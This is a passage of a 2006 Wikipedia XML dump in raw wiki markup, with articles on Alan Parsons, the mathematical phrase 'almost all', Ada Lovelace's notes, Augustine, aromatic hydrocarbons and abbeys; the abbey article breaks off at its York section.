Alan Parsons was known for going beyond what one would consider the normal scope of a recording engineer. He considered himself to be a recording [[Film director|director]] and was known to compare what he did with albums to what [[Stanley Kubrick]] did on film. This is obvious in his work with Al Stewart's &quot;[[Year of the Cat]]&quot;, where Parsons added the [[saxophone]] part and transformed the original folk concept into the [[jazz]] influenced [[ballad]] that put Al Stewart onto the charts. It is also seen in Parson's influence on the Hollies &quot;[[He Ain't Heavy, He's My Brother]]&quot; and &quot;[[The Air That I Breathe]]&quot;, sharp departures from their 60s pop &quot;Stay&quot;, &quot;Just One Look&quot;, &quot;Stop, Stop, Stop&quot;, [[Bus Stop (song)|&quot;Bus Stop&quot;]], or [[Betty Everett|&quot;It's in His Kiss&quot;]].

Although an accomplished [[vocalist]] and [[flutist]], Parsons only sang infrequent and incidental parts on his albums. Recordings featuring his [[flute]] are virtually unknown.

Influenced by his work on Stewart's concept album ''[[Time Passages]]'', Parsons decided to begin creating his own thematic records; along with songwriter [[Eric Woolfson]], he soon founded [[The Alan Parsons Project]]. Although Parsons played keyboards and infrequently sang on his records, the Project was designed primarily as a forum for a revolving collection of vocalists and session players — among them [[Arthur Brown]], ex-Zombie [[Colin Blunstone]], [[Cockney Rebel]]'s [[Steve Harley]], the [[Hollies]]' [[Allan Clarke]] and guitarist [[Ian Bairnson]] — to interpret and perform Parsons and Woolfson's conceptually-linked, lushly-synthesized music.

The Project debuted in 1976 with ''[[Tales of Mystery and Imagination]]'', a collection inspired by the work of [[Edgar Allen Poe]]. The album was remixed for release on CD and includes narration by [[Orson Wells]] which was left off the vinyl version. Similarly, the science fiction of [[Isaac Asimov]] served as the raw material for 1977's follow-up ''[[I Robot (album)|I Robot]]''. With 1980s ''[[The Turn of a Friendly Card]]'', a meditation on gambling, the [[Alan Parsons Project]] scored a Top 20 hit, &quot;[[Games People Play]]&quot;. 1982's ''[[Eye in the Sky]]'' was their most successful effort, and notched a Top Three hit with its title track. While 1984's ''[[Ammonia Avenue]]'' went gold, the Project's subsequent LPs earned little notice, although records like 1985's ''[[Vulture Culture]]'' and 1987's ''[[Gaudi]]'' found favor with longtime fans. 

Following the breakup of The Project, he went on to create several solo albums:

*[[1993]] ''[[Try Anything Once]]'',
*[[1996]] ''[[On Air]]'' - includes CD-ROM containing some history of [[aviation]],
*[[1999]] ''[[The Time Machine (album)|The Time Machine]]'',
*2004 ''[[A Valid Path]]'', with [[David Gilmour]] on &quot;Return to [[Tunguska]]&quot;.
==External links==
*[http://www.alanparsonsmusic.com/ Official Site]

[[Category:1949 births|Parsons, Alan]]
[[Category:Living people|Parsons, Alan]]
[[Category:British record producers|Parsons, Alan]]

[[de:Alan Parsons]]
[[fr:Alan Parsons]]
[[nl:Alan Parsons]]
[[pl:Alan Parsons]]
[[pt:Alan Parsons]]

{{UK-musician-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Almost all</title>
    <id>1309</id>
    <revision>
      <id>38589079</id>
      <timestamp>2006-02-07T08:07:37Z</timestamp>
      <contributor>
        <username>Scott Ritchie</username>
        <id>105861</id>
      </contributor>
      <comment>Note there are an infinite number of primes (to contrast with usage of &quot;all but finitely many&quot;)</comment>
      <text xml:space="preserve">In [[mathematics]], the phrase '''almost all''' has a number of specialised uses.

&quot;Almost all&quot; is sometimes used synonymously with &quot;all but [[finite]]ly many&quot;; see [[almost]].

In [[number theory]], if ''P''(''n'') is a property of positive [[integer]]s, and if ''p''(''N'') denotes the number of positive integers ''n'' less than ''N'' for which ''P''(''n'') holds, and if 

:''p''(''N'')/''N'' &amp;rarr; 1 as ''N'' &amp;rarr; &amp;infin;

(see [[limit]]), then we say that &quot;''P''(''n'') holds for almost all positive integers ''n''&quot; and write
:&lt;math&gt;(\forall^\infty n) P(n)&lt;/math&gt;. 

For example, the [[prime number theorem]] states that the number of [[prime numbers]] less than or equal to ''N'' is asymptotically equal to ''N''/ln ''N''. Therefore the proportion of prime integers is roughly 1/ln ''N'', which tends to 0. Thus, ''almost all'' positive integers are composite, however there are still an infinite number of primes.

Occasionally, &quot;almost all&quot; is used in the sense of &quot;[[almost everywhere]]&quot; in [[measure theory]], or in the closely related sense of &quot;[[almost surely]]&quot; in [[probability theory]].

==See also==

*[[Sufficiently large]]

[[Category:Mathematical terminology]]
[[Category:Mathematical notation]]</text>
    </revision>
  </page>
  <page>
    <title>Ada Byron's notes on the analytical engine</title>
    <id>1311</id>
    <revision>
      <id>39325297</id>
      <timestamp>2006-02-12T10:10:48Z</timestamp>
      <contributor>
        <username>Lambiam</username>
        <id>745100</id>
      </contributor>
      <minor />
      <comment>ref. to otherwise ununderstandable &quot;Baum&quot;</comment>
      <text xml:space="preserve">In [[1846]] [[Charles Babbage]] was invited to give a seminar at the [[University of Turin]] about his [[analytical engine]].
[[Federico Luigi, Conte Menabrea|Luigi Menabrea]], a young [[Italy|Italian]] [[engineer]] wrote up Babbage's lecture in [[French language|French]], and this transcript was subsequently published in the [[Bibliothèque Universelle de Genève]] in [[1842]].

Babbage asked  [[Ada Lovelace]] (born Ada Byron) to translate Menabrea's paper into English. He then further asked Lady Ada to augment the notes she had added to the translation, and she spent most of a year doing this.

These notes, which are more extensive than Menabrea's paper, were then published in ''The Ladies Diary'' and ''Taylor's Scientific Memoirs'' (under the initialism A.A.L.).

Her notes were labelled A, B, C, D, E, F and G, the last one being the longest.

In note G Ada describes an [[algorithm]] for the [[analytical engine]] to compute [[Bernoulli number]]s. It is generally considered the first algorithm ever specifically tailored for implementation on a [[computer]], and for this reason she is considered by many to be the first [[programmer|computer programmer]].

Note G could possibly also be said to be the first expression of the modern computer phrase &quot;[[Garbage In, Garbage Out]]&quot;.  Lovelace writes:

:''&quot;The Analytical Engine has no pretensions whatever to originate anything. It can do whatever we know how to order it to perform. It can follow analysis; but it has no power of anticipating any analytical relations or truths.''&quot;

On the other hand, proponents of [[Artificial intelligence]] would dismiss the above quote as nonsense: [[Automated theorem proving]] could be cited as a counterexample. 

According to Linda Talisman on
[http://www.cs.yale.edu/homes/tap/Files/ada-lovelace-notes.html]:
&quot;Baum &lt;nowiki&gt;[&lt;/nowiki&gt;Baum, Joan. ''The Calculating Passion of Ada Byron''. Archon
Books, Hamden, Conn., 1986. ISBN 0208021191&lt;nowiki&gt;]&lt;/nowiki&gt; cites:
*Perl, Teri. The Ladies Diary or Woman's Almanac, 1704-1841, Historica Mathematica 6 (1979): 36-53
*Wallis, Ruth and Peter. Female Philomaths, Historica Mathematica 7, (1980), 57-64
&lt;blockquote&gt;
There were indeed women in mid-century England who signed
their names to mathematical articles in popular journals,
and there were influential periodicals, such as the
[[Edinburgh Review]], that lent intellectual women psychological
support.... Although the [[Ladies Diary]] ..., the most popular
of the mathematical periodicals, encouraged women to join
wit with beauty, it attracted serious amateurs of both
sexes... [it] was a respectable place to pose mathematical
problems and sustain debate... since there were few science
periodicals in England until the 1830s, technical articles
often appeared in general periodicals like the Ladies Diary.
It may have been something similar that originally sparked
[[Mary Fairfax Somerville|Mrs. Somerville's]] interest in mathematics. At a tea party
one afternoon, she recalled years later, young Mary Fairfax
had been given a ladies' fashion magazine that contained a
puzzle, the answer to which was given in strange symbols.
These symbols turned out to be [[algebra]]. And that magazine
became her introduction to the world of [[Euclidean geometry]]
and number.
&lt;/blockquote&gt;
Baum, p. 35&quot;.

==External links==
*[http://www.fourmilab.ch/babbage/sketch.html ''Sketch of The Analytical Engine Invented by Charles Babbage'' by L. F. Menabrea with notes upon the Memoir by the translator Ada Augusta, Countess of Lovelace]
*[http://www.cs.yale.edu/homes/tap/Files/ada-lovelace-notes.html  ''Ada Lovelace's Notes and The Ladies Diary'']

[[Category:History of computing]]</text>
    </revision>
  </page>
  <page>
    <title>Augustine</title>
    <id>1312</id>
    <revision>
      <id>42116803</id>
      <timestamp>2006-03-03T22:56:57Z</timestamp>
      <contributor>
        <ip>86.49.59.222</ip>
      </contributor>
      <comment>+cs + de interwiki links</comment>
      <text xml:space="preserve">'''Augustine''' may refer to:

'''Saints:'''
* [[Augustine of Hippo]], (354-430) theologian, author of ''The City of God'', ''Confessions''
* [[Augustine of Canterbury]], (d. 604) first [[Archbishop of Canterbury]]

'''Or:'''
*[[Augustinians]], an order of Catholic monk named after Augustine of Hippo
*[[Augustine Volcano]] on [[Augustine Island]] in [[Alaska]]
*[[St. Augustine, Florida]], a city in the United States
*[[James Augustine]], a Power Forward and Center for the [[Illinois Fighting Illini|University of Illinois]] Men's Basketball Team

{{disambig}}

[[cs:Augustin]]
[[de:Augustin]]
[[ko:아우구스티누스]]
[[pl:Augustyn]]
[[ru:Августин]]</text>
    </revision>
  </page>
  <page>
    <title>Aromatic hydrocarbon</title>
    <id>1313</id>
    <revision>
      <id>42037537</id>
      <timestamp>2006-03-03T10:43:58Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ar, he, ko</comment>
      <text xml:space="preserve">An '''aromatic hydrocarbon''' (abbreviated as AH),  or '''arene''' is a [[hydrocarbon]], the [[molecular structure]] of which incorporates one or more planar sets of six [[carbon]] atoms that are connected by [[delocalised electron]]s numbering the same as if they consisted of alternating single and double [[Covalent bond|covalent bonds]]. After the simplest possible [[aromatic]] hydrocarbon, [[benzene]], such a configuration of six carbon atoms is known as a [[benzene ring]].

== Benzene ring model ==
[[image:toluene.png|100px|right|thumb| [[Toluene]] ]]{{main|aromaticity}}
Each carbon atom in the hexagonal cycle has four electrons to share. One goes to the hydrogen atom, and one each to the two neighboring carbons. This leaves one to share with one of its two neighboring carbon atoms, which is why the benzene molecule is drawn with alternating single and double bonds around the hexagon.


Many chemists just draw a circle around the inside of the ring to show that there are six electrons floating around in delocalized molecular orbitals the size of the ring itself. This also accurately represents the equivalent nature of the six bonds all of [[bond order]] ~1.5. This equivalency is well explained by [[Resonance (chemistry)|resonance form]]s. The electrons float above and below the ring, and the electromagnetic fields they generate keep the ring flat. 

In modern terminology, benzene rings can be described as compounds in which a continuous, closed system of rings contains separate sets of [[VSEPR#Sigma_Bonds|sigma]] and [[VSEPR#Pi_Bonds|pi electron]]s. 
The [[atomic orbital]]s forming the sigma system are sp&lt;sup&gt;2&lt;/sup&gt; [[orbital hybridisation|hybridized]], and those forming the pi system are pure p orbitals. 

* Properties:
# They have close conjugation.
# The Carbon atoms are sp&lt;sup&gt;2&lt;/sup&gt; hybridized, and therefore have a trigonal planar structure.
# The Carbon-Hydrogen ratio is very large.
# [[Hückel's rule]]s apply
# They burn with a sooty yellow flame because of the high carbon-hydrogen ratio.
# They undergo [[electrophilic substitution reaction]]s
 
== Benzene and derivatives of benzene ==
[[image:Benzene-structure.png|75px|right|thumb| [[Benzene]] ]]{{main|benzene}}
Aromatic hydrocarbons can be ''monocyclic'' or ''polycyclic''. [[Benzene]], C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;, is the simplest AH and was recognized as the first aromatic hydrocarbon, with the nature of its bonding first being recognized by [[Friedrich August Kekulé von Stradonitz]] in the [[19th century]].  

==PAHs==
{{main|Polycyclic aromatic hydrocarbon}}
[[image:napthalene.png|100px|right|thumb| [[Naphthalene]] ]]Some important arenes are the '''polycyclic aromatic hydrocarbons''' (PAH); they are also called '''polynuclear aromatic hydrocarbons'''. They are  composed of more than one aromatic ring. The simplest PAH is [[benzocyclobutene]] ([[Carbon|C]]&lt;sub&gt;8&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;6&lt;/sub&gt;).

== PAHs and the origins of life ==
{{main|PAH world hypothesis}}
In January 2004 (at the 203rd Meeting of the [[American Astronomical Society]]), it was reported (as cited in Battersby, 2004) that a team led by A. Witt of the [[University of Toledo|University of Toledo, Ohio]] studied ultraviolet light emitted by the [[Red Rectangle nebula]] and found the spectral signatures of [[anthracene]] and [[pyrene]]. (No other such complex molecules had ever before been found in space.) This discovery was considered confirmation of a hypothesis that as nebulae of the same type as the Red Rectangle approach the ends of their lives, convection currents cause carbon and hydrogen in the nebulae's core to get caught in stellar winds, and radiate outward. As they cool, the atoms supposedly bond to each other in various ways and eventually form particles of a million or more atoms.

Witt and his team inferred (as cited in Battersby, 2004) that since they discovered PAHs&amp;mdash;which may have been vital in the formation of early life on Earth&amp;mdash;in a nebula, nebulae, by necessity, are where they originate.

== External links ==
* [http://www.pca.state.mn.us/programs/pubs/qa-pahs.pdf Carcinogenic FAC list] in [[Portable Document Format]].
* [http://www.atsdr.cdc.gov/toxprofiles/tp69.html Toxicological profiles of PAH].
* [http://books.nap.edu/books/POD088/html/385.html#pagetop LIST of PAH].
* [http://www.aapg.org/explorer/2002/11nov/abiogenic.cfm Abiogenic Gas Debate 11:2002 (EXPLORER)]

== References ==
*American Astronomical Society. (n.d.). Meeting program contents. Retrieved January 11, 2004 from http://www.aas.org/meetings/aas203/
*Battersby, S. (2004). Space molecules point to organic origins. Retrieved January 11, 2004 from http://www.newscientist.com/news/news.jsp?id=ns99994552

[[Category:Aromatic hydrocarbons]] [[Category:Hydrocarbons]] [[Category:Origin of life]]

[[ar:أروماتية]]
[[de:Aromaten]]
[[et:Areenid]]
[[es:Hidrocarburo aromático]]
[[fr:Hydrocarbure aromatique]]
[[ko:방향족 탄화수소]]
[[he:ארומטיות]]
[[lv:Aromātiskie ogļūdeņraži]]
[[nl:Aromatische verbinding]]
[[ja:芳香族炭化水素]]
[[pl:Węglowodór aromatyczny]]
[[ru:Арены]]
[[sv:Aromatiska kolväten]]
[[zh:芳烃]]</text>
    </revision>
  </page>
  <page>
    <title>Abbadids</title>
    <id>1314</id>
    <revision>
      <id>15899803</id>
      <timestamp>2002-04-20T23:13:27Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect[[Abbadid]]</comment>
      <text xml:space="preserve">#redirect[[Abbadid]]</text>
    </revision>
  </page>
  <page>
    <title>Abbey</title>
    <id>1315</id>
    <revision>
      <id>41349281</id>
      <timestamp>2006-02-26T19:42:44Z</timestamp>
      <contributor>
        <username>Dragonix</username>
        <id>976685</id>
      </contributor>
      <minor />
      <comment>/* [[Benedictine abbey]]s */</comment>
      <text xml:space="preserve">:''This article is about an '''abbey''' as a Christian [[monastery|monastic community]]. For other uses, see [[Abbey (disambiguation)]]''. 
{{christianity}}
An '''abbey''' (from the [[Latin]] ''abbatia,'' which is derived from the [[Syriac language|Syriac]] ''abba,'' &quot;father&quot;), is a [[Christianity|Christian]] '''[[monastery]]''' or '''convent''', under the government of an [[Abbot]] or an [[Abbess]], who serve as the spiritual father or mother of the community. A '''[[priory]]''' only differed from an abbey in that the superior bore the title of [[prior]] instead of abbot. Priories were originally offshoots from the larger abbeys, to the abbots of which they continued subordinate; however, the actual distinction between abbeys and priories was lost by the [[Renaissance]]. Do not confuse the term ''convent'' with the term monastery.  Both nuns and monks live in monasteries.  Sisters, members of active orders, live in convents.  Nuns who are cloistered live in monasteries.

The earliest known Christian monastic communities (see [[Monasticism]])  consisted of groups of cells or huts collected about a common centre, which was usually the house of some hermit or anchorite famous for holiness or singular asceticism, but without any attempt at orderly arrangement. Such communities were not an invention of Christianity. The example had been already set in part by the [[Essenes]] in [[Judea]] and perhaps by the [[Therapeutae]] in [[Egypt]]. 

In the earliest age of Christian [[monasticism]] the [[ascetic]]s were accustomed to live singly, independent of one another,  not far from some village church, supporting themselves by the labour of their own hands, and distributing the surplus after the supply of their own scanty wants to the poor. Increasing religious fervour, aided by persecution, drove them farther and farther away from the civilization into mountain solitudes or lonely deserts. The deserts of Egypt swarmed with the &quot;cells&quot; or huts of these anchorites. [[Anthony the Great]], who had retired to the Egyptian Thebaid during the persecution of [[Maximian]], A.D. [[312]], was the most celebrated among them for his
austerities, his sanctity, and his power as an exorcist. His fame collected round him a host of followers imitating his asceticism in an attempt to imitate his sanctity. The deeper he withdrew into the wilderness, the more numerous his disciples became. They refused to be separated from him, and built their ceils round that of their spiritual father. Thus arose the first monastic community, consisting of anchorites living each in his own little dwelling, united together under one superior. Anthony, as Neander remarks (Church History, vol. iii. p. 316, Clark's trans.), &quot;without any conscious design of his own, had become the founder of a new mode of living in common, Coenobitism.&quot; By degrees order
was introduced in the groups of huts. They were arranged in lines like the tents in an encampment, or the houses in a street. From this arrangement these lines of single cells came to be known as Laurae, Laurai, &quot;streets&quot; or &quot;lanes.&quot; 
{{TOCleft}}
The real founder of cenobitic (''koinos,'' common, and ''bios,'' life) monasteries in the modern sense was [[Pachomius]], an Egyptian of the beginning of the [[4th century]]. The first community established by him was at Tabennae, an island of the [[Nile]] in [[Upper Egypt]]. Eight others were founded in the region during his lifetime, numbering 3,000 monks. Within fifty years from his death his societies could claim 50,000 members. These coenobia resembled villages, peopled by a hard-working religious community, all of one sex.

The buildings were detached, small and of the humblest character. Each cell or hut, according to [[Sozomen]] (H.R. iii. 14), contained three monks. They took their chief meal in a common refectory or dining hall at 3 P.M., up to which hour they usually fasted. They ate in silence, with hoods so drawn over their faces that they could see nothing but what was on the table before them. The monks spent the time not devoted to religious services or study in manual labour. [[Palladius]], who visited the Egyptian monasteries about the close of the [[4th century]], found among the 300 members of the coenobium of [[Panopolis]], under the [[Pachomius|Pachomian]] rule, 15 tailors, 7 smiths, 4 carpenters, 12 cameldrivers and 15 tanners. Each separate community had its own ''oeconomus'' or steward, who was subject to a chief steward stationed at the head establishment. All the produce of the monks' labour was committed to him, and by him shipped to [[Alexandria]]. The money raised by the sale was expended in the purchase of stores for the support of the communities, and what was over was devoted to charity. Twice in the year the superiors of the several [[coenobia]] met at the chief monastery, under the presidency of an archimandrite (&quot;the chief of the fold,&quot; from ''miandra'', a sheepfold), and at the last meeting gave in reports of their administration for the year. The coenobia of Syria belonged to the Pachomian institution. We learn many details concerning those in the vicinity of [[Antioch]] from [[Chrysostom]]'s writings. The monks lived in separate huts, ''kalbbia,'' forming a religious hamlet on the mountain side. They were subject to an abbot, and observed a common rule. (They had no refectory, but ate their common meal, of bread and water only, when the day's labour was over, reclining on strewn grass, sometimes out of doors.) Four times in the day they joined in [[prayer]]s and [[psalms]].

===Santa Laura, Mount Athos===
The necessity for defence from hostile attacks (for monastic houses tended to accumulate rich gifts), economy of space and convenience of access from one part of the community to another, by degrees dictated a more compact and orderly arrangement of the buildings of a monastic coenobium. Large piles of building were erected, with strong outside walls, capable of resisting the assaults of an enemy, within which all the necessary edifices were ranged round one or more open courts, usually surrounded with [[cloister]]s. The usual Eastern arrangement is exemplified in the plan of the convent of the [[Holy Laura]], [[Mount Athos]]. &lt;br /&gt;
{| align=&quot;right&quot;
|+ '''Monastery of Santa Laura, Mount Athos (Lenoir)'''
|-
| [[image:abbey_01.png]] ||
:A. Gateway
:B. Chapels
:C. Guest-house
:D. Church
:E. Cloister
:F. Fountain
:G. Refectory
:H. Kitchen
:I. Cells
:K. Storehouses
:L. Postern Gate
:M. Tower
|}

This monastery, like the oriental monasteries generally, is surrounded by a strong and lofty blank stone wall, enclosing an area of between 3 and 4 acres (12,000 and 16,000 m&amp;sup2;). The longer side extends to a length of about 500 feet. There is only one main entrance, on the north side (A), defended by three separate iron doors. Near the entrance is a large tower (M), a constant feature in the monasteries of the Levant. There is a small postern gate at L. The enceinte comprises two large open courts, surrounded with buildings connected with cloister galleries of wood or stone. The outer court, which is much the larger, contains the granaries and storehouses (K), and the kitchen (H) and other offices connected with the refectory (G). Immediately adjacent to the gateway is a two-storied guest-house, opening from a cloister (C). The inner court is surrounded by a cloister (EE), from which open the monks' cells (II). In the centre of this court stands the [[catholicon]] or conventual church, a square building with an apse of the
cruciform domical Byzantine type, approached by a domed [[narthex]]. In front of the church stands a marble fountain (F), covered by a dome supported on columns.
Opening from the western side of the cloister, but actually standing in the outer court, is the refectory (G), a large cruciform building, about 100 feet (30 m) each way, decorated within with frescoes of saints. At the upper end is a semicircular recess, recalling the triclinium of the Lateran Palace at Rome, in which is placed the seat of the hegumenos or abbot. This apartment is chiefly used as a hall of meeting, the oriental monks usually taking their meals in their separate cells. 

The annexed plan of a [[Coptic Christianity|Coptic]] monastery, from Lenoir, shows a church of three aisles, with cellular apses, and two ranges of cells on either side of an oblong gallery.
{| align=&quot;right&quot;
|+ '''Plan of Coptic Monastery'''
|-
| [[image:abbey_02.png]] ||
:A. Narthex
:B. Church
:C. Corridor, with cells on each side
:D. Staircase
|}

== [[Benedictine abbey]]s ==
Monasticism in the West owes its extension and development to [[Benedict of Nursia]] (born A.D. [[480]]). His rule was diffused with miraculous rapidity from the parent foundation on [[Monte Cassino]] through the whole of [[western Europe]], and every country witnessed the erection of monasteries far exceeding anything that had yet been seen in spaciousness and splendour. Few great towns in Italy were without their Benedictine convent, and they quickly rose in all the great centres of population in [[England]], [[France]] and [[Spain]]. The number of these monasteries founded between A.D. [[520]] and [[700]] is amazing. Before the [[Council of Constance]], A.D. [[1415]], no fewer than 15,070 abbeys had been established of this [[order (religious)|order]] alone. The buildings of a Benedictine abbey were uniformly arranged after one plan, modified where necessary (as at Durham and Worcester, where the monasteries stand close to the steep bank of a river) to accommodate the arrangement to local circumstances. We have no existing examples of the earlier monasteries of the Benedictine order. They have all yielded to the ravages of time and the violence of man. But we have fortunately preserved to us an elaborate plan of the great Swiss monastery of St Gall, erected about A.D. [[820]], which puts us in possession of the whole arrangements of a monastery of the first class towards the early part of the 9th century. This curious and interesting plan has been made the subject of a memoir both by [[Keller]] ([[Zürich]], [[1844]]) and by Professor [[Robert Willis]] (''Arch. Journal,'' 1848, vol. v. pp. 86-117. To the latter we are indebted for the substance of the following description, as well as for the plan, reduced from his elucidated transcript of the original preserved in the archives of the convent. The general appearance of the convent is that of a town of isolated houses with streets running between them. It is evidently planned in compliance with the Benedictine rule, which enjoined that, if possible, the monastery should contain within itself every necessary of life, as well as the buildings more intimately connected with the religious and social life of its inmates. It should comprise a [[mill (factory)|mill]], a [[bakehouse]], [[stable]]s, and [[cattle|cow]]-houses, together with accommodation for carrying on all necessary mechanical arts within the walls, so as to obviate the necessity of the monks going outside its limits. 
[[Image:Jumièges.jpg|thumb|right|200px|Abbey of Jumièges, [[Normandy]]]]
The general distribution of the buildings may be thus described:-The church, with its cloister to the south, occupies the centre of a quadrangular area, about 430 feet square. The buildings, as in all great monasteries, are distributed into groups. The church forms the nucleus, as the centre of the religious life of the community. In closest connection with the church is the group of buildings appropriated to the monastic line and its daily requirements---the refectory for eating, the dormitory for sleeping, the common room for social intercourse, the chapter-house for religious and disciplinary conference. These essential elements of monastic life are ranged about a cloister court, surrounded by a covered arcade, affording communication sheltered from the elements between the various buildings. The infirmary for sick monks, with the physician's house and physic garden, lies to the east. In the same group with the infirmary is the school for the novices. The outer school, with its headmaster's house against the opposite wall of the church, stands outside the convent enclosure, in close proximity to the abbot's house, that he might have a constant eye over them. The buildings devoted to hospitality are divided into three groups,--one for the reception of distinguished guests, another for monks visiting the monastery, a third for poor travellers and pilgrims. The first and third are placed to the right and left of the common entrance of the monastery,---the hospitium for distinguished guests being placed on the north side of the church, not far from the abbot's house; that for the poor on the south side next to the farm buildings. The monks are lodged in a guest-house built against the north wall of the church. The group of buildings connected with the material wants of the establishment is placed to the south and west of the church, and is distinctly separated from the monastic buildings. The kitchen, buttery and offices are reached by a passage from the west end of the refectory, and are connected with the bakehouse and brewhouse, which are placed still farther away. The whole of the southern and western sides is devoted to workshops, stables and farm-buildings. The buildings, with some exceptions, seem to have been of one story only, and all but the church were probably erected of wood. The whole includes thirty-three separate blocks. The church (D) is cruciform, with a nave of nine bays, and a semicircular apse at either extremity. That to the west is surrounded by a semicircular colonnade, leaving an open &quot;paradise&quot; (E) between it and the wall of the church. The whole area is divided by screens into various chapels. The high altar (A) stands immediately to the east of the transept, or ritual choir; the altar of [[Paul of Tarsus|Saint Paul]] (B) in the eastern, and that of [[St Peter]] (C) in the western apse. A cylindrical campanile stands detached from the church on either side of the western apse (FF). 

The `cloister court', (G) on the south side of the nave of the 
{| width=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;
|+ '''Ground plan of St. Gall'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[image:st_gall_plan.jpg]]
| valign=&quot;top&quot; |
&lt;pre&gt;
CHURCH.
A. High altar.
B. Altar of St Paul.
C. Altar of St Peter.
D. Nave.
E. Paradise.
FF. Towers.
MONASTIC BUILDINGS
G. Cloister.
H. Calefactory, with dormitory over.
I. Necessary.
J. Abbot's house.
K. Refectory.
L. Kitchen.
M. Bakehouse and brewhouse.
N. Cellar.
O. Parlour.               (over.
P1. Scriptorium with library  k,
P2. Sacristy and vestry.
Q. House of Novices--1.chapel;
2. refectory; 3. calefactory;
4. dormitory; 5. master's room
6. chambers.
R. Infirmary--1--6 as above in
the house of novices.
S. Doctor's house.
T. Physic garden.
U. House for blood-letting.
V. School.
W. Schoolmaster's lodgings.
X1X1. Guest-house for those of superior rank
X2X2. Guest-house for the poor.
Y. Guest-chamber for strange monks.

MENIAL DEPARTMENT.
Z. Factory.
a. Threshing-floor
b. Workshops.
c, c. Mills.
d. Kiln.
e. Stables.
f Cow-sheds.
g. Goat-sheds.
h. Pig-sties. i. Sheep-folds.
k, k. Servants' and workmen's sleeping-chambers.
l. Gardener's house
m,m. Hen and duck house.
n. Poultry-keeper's house.
o. Garden.
q. Bakehouse for sacramental

s, s, s. Kitchens.
t, t, t. Baths.
&lt;/pre&gt;
|}

church has on its east side the &quot;[[pisalis]]&quot; or &quot;[[calefactory]]&quot;, (H), the common sitting-room of the brethren, warmed by flues beneath the floor. On this side in later monasteries we invariably find the [[chapter house]], the absence of which in this plan is somewhat surprising. It appears, however, from the inscriptions on the plan itself, that the north walk of the cloisters served for the purposes of a chapter-house, and was fitted up with benches on the long sides. Above the calefactory is the &quot;[[dormitory]]&quot; opening into the south transept of the church, to enable the monks to attend the nocturnal services with readiness. A passage at the other end leads to the &quot;[[necessarium]]&quot; (I), a portion of the monastic buildings always planned with extreme care. The southern side is occupied by the &quot;refectory&quot; (K), from the west end of which by a vestibule the kitchen (L) is reached. This is separated from the main buildings of the monastery, and is connected by a long passage with a building containing the bake house and brewhouse (M), and the sleeping-rooms of the servants. The upper story of the refectory is the &quot;vestiarium,&quot; where the ordinary clothes of the brethren were kept. On the western side of the cloister is another two story building (N). The cellar is below, and the [[larder]] and store-room above. Between this building and the church, opening by one door into the cloisters, and by another to the outer part of the monastery area, is the &quot;parlour&quot; for interviews with visitors from the external world (O). On the eastern side of the north transept is the &quot;[[scriptorium]]&quot; or writing-room (P1), with the library above. 

To the east of the church stands a group of buildings comprising two miniature conventual establishments, each complete in itself. Each has a covered cloister surrounded by the usual buildings, i.e. refectory, dormitory, etc., and a church or chapel on one side, placed back to back. A detached building belonging to each contains a bath and a kitchen. One of these diminutive convents is appropriated to the &quot;[[oblati]]&quot; or novices (Q), the other to the sick monks as an &quot;[[infirmary]]&quot; (R). 

The &quot;residence of the physicians&quot; (S) stands contiguous to the infirmary, and the physic garden (T) at the north-east corner of the monastery. Besides other rooms, it contains a drug store, and a chamber for those who are dangerously ill. The &quot;house for bloodletting and purging&quot; adjoins it on the west (U). 

The &quot;outer school,&quot; to the north of the convent area, contains a large schoolroom divided across the middle by a screen or partition, and surrounded by fourteen little rooms, termed the dwellings of the scholars. The head-master's house (W) is opposite, built against the side wall of the church. The two &quot;[[hospitia]]&quot; or  guest-houses for the entertainment of strangers of different degrees (X1 X2) comprise a large common chamber or refectory in the centre, surrounded by sleeping-apartments. Each is provided with its own brewhouse and bakehouse, and that for travellers of a superior order has a kitchen and storeroom, with bedrooms for their servants and stables for their horses. There is also an &quot;hospitium&quot; for strange monks, abutting on the north wall of the church (Y). 

Beyond the cloister, at the extreme verge of the convent area to the south, stands the &quot;factory&quot; (Z), containing workshops for [[shoemaker]]s, saddlers (or shoemakers, sellarii), cutlers and grinders, [[trencher]]-makers, [[tanner]]s, curriers, fullers, [[smith]]s and [[goldsmith]]s, with their dwellings in the rear. On this side we also find the farm buildings, the large granary and threshing-floor (a), mills (c), malthouse (d). Facing the west are the stables (e), ox-sheds (f), goatstables (gl, piggeries (h), sheep-folds
(i), together with the servants' and labourers' quarters (k). At the south-east corner we find the hen and duck house, and poultry-yard (m), and the dwelling of the keeper (n). Hard by is the kitchen garden (o), the beds bearing the names of the vegetables growing in them, onions, garlic, celery, lettuces, poppy, carrots, cabbages, etc., eighteen in all. In the same way the physic garden presents the names of the medicinal herbs, and the cemetery (p) those of the trees, apple, pear, plum, quince, etc., planted there. 

&lt;!-- ==[[Canterbury Cathedral]]== --&gt;

==[[Westminster Abbey]]==
Westminster Abbey is another example of a great Benedictine abbey, identical in its general arrangements, so far as they can be traced, with those described above. The cloister and monastic buildings lie to the south side of the church. Parallel to the nave, on the south side of the cloister, was the refectory, with its lavatory at the door.
On the eastern side we find the remains of the dormitory, raised on a vaulted substructure and communicating with the south transept. The chapter-house opens out of the same alley of the cloister. The small cloister lay to the south-east of the larger cloister, and still farther to the east we have the remains of the infirmary with the table hall, the refectory of those who were able to leave their chambers. The abbot's house formed a small courtyard at the west entrance, close to the inner gateway.
Considerable portions of this remain, including the abbot's parlour, celebrated as &quot;the Jerusalem Chamber,&quot; his hall, now used for the Westminster King's Scholars, and the kitchen and butteries beyond.

==York==
